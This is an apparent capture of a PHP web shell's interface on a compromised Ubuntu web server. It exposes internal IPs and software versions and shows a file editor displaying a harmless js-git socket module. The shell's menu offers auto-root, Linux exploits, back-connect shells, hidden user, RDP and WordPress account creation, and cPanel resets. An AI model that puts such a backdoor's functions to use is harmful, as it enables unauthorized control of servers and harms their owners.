Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
js-git /
net /
[ HOME SHELL ]
Name
Size
Permission
Action
git-fetch-pack.js
4.98
KB
-rw-rw-r--
request-xhr.js
959
B
-rw-rw-r--
tcp-chrome-sockets.js
2.51
KB
-rw-rw-r--
tcp-node.js
1.7
KB
-rw-rw-r--
tcp-ws-proxy.js
1.69
KB
-rw-rw-r--
transport-http.js
3.21
KB
-rw-rw-r--
transport-tcp.js
1.2
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tcp-chrome-sockets.js
"use strict"; var makeChannel = require('culvert'); var wrapHandler = require('../lib/wrap-handler'); var tcp = window.chrome.sockets.tcp; var runtime = window.chrome.runtime; module.exports = connect; function connect(host, port, onError) { port = port|0; host = String(host); if (!port || !host) throw new TypeError("host and port are required"); onCreate = wrap(onCreate, onError); onConnect = wrap(onConnect, onError); onInfo = wrap(onInfo, onError); onReceive = wrap(onReceive, onError); onReceiveError = wrap(onReceiveError, onError); onData = wrapHandler(onData, onError); onWrite = wrap(onWrite, onError); var paused = false; var open = false; var socketId; var serverChannel = makeChannel(); var clientChannel = makeChannel(); var socket = { put: serverChannel.put, drain: serverChannel.drain, take: clientChannel.take }; tcp.onReceive.addListener(onReceive); tcp.onReceiveError.addListener(onReceiveError); tcp.create(onCreate); return { put: clientChannel.put, drain: clientChannel.drain, take: serverChannel.take }; function onCreate(createInfo) { socketId = createInfo.socketId; tcp.connect(socketId, host, port, onConnect); } function onConnect(result) { if (result < 0) throw new Error(runtime.lastError.message + " Connection error"); tcp.getInfo(socketId, onInfo); } function onInfo(socketInfo) { if (!socketInfo.connected) { throw new Error("Connection failed"); } open = true; socket.take(onData); } function onReceive(info) { if (info.socketId !== socketId) return; if (socket.put(new Uint8Array(info.data)) || paused) return; paused = true; tcp.setPaused(socketId, true); socket.drain(onDrain); } function onDrain() { if (!paused) return; paused = false; if (open) tcp.setPaused(socketId, false); } function onReceiveError(info) { if (info.socketId !== socketId) return; open = false; tcp.close(socketId); socket.put(); // TODO: find a way to tell close and error apart. // throw new Error("Code " + info.resultCode + " error while receiving."); } function onData(data) { tcp.send(socketId, data.buffer, onWrite); } function onWrite(info) { if (info.resultCode < 0) { throw new Error(runtime.lastError.message + " Error writing."); } socket.take(onData); } } function wrap(fn, onError) { return function () { try { return fn.apply(this, arguments); } catch (err) { onError(err); } }; }
Close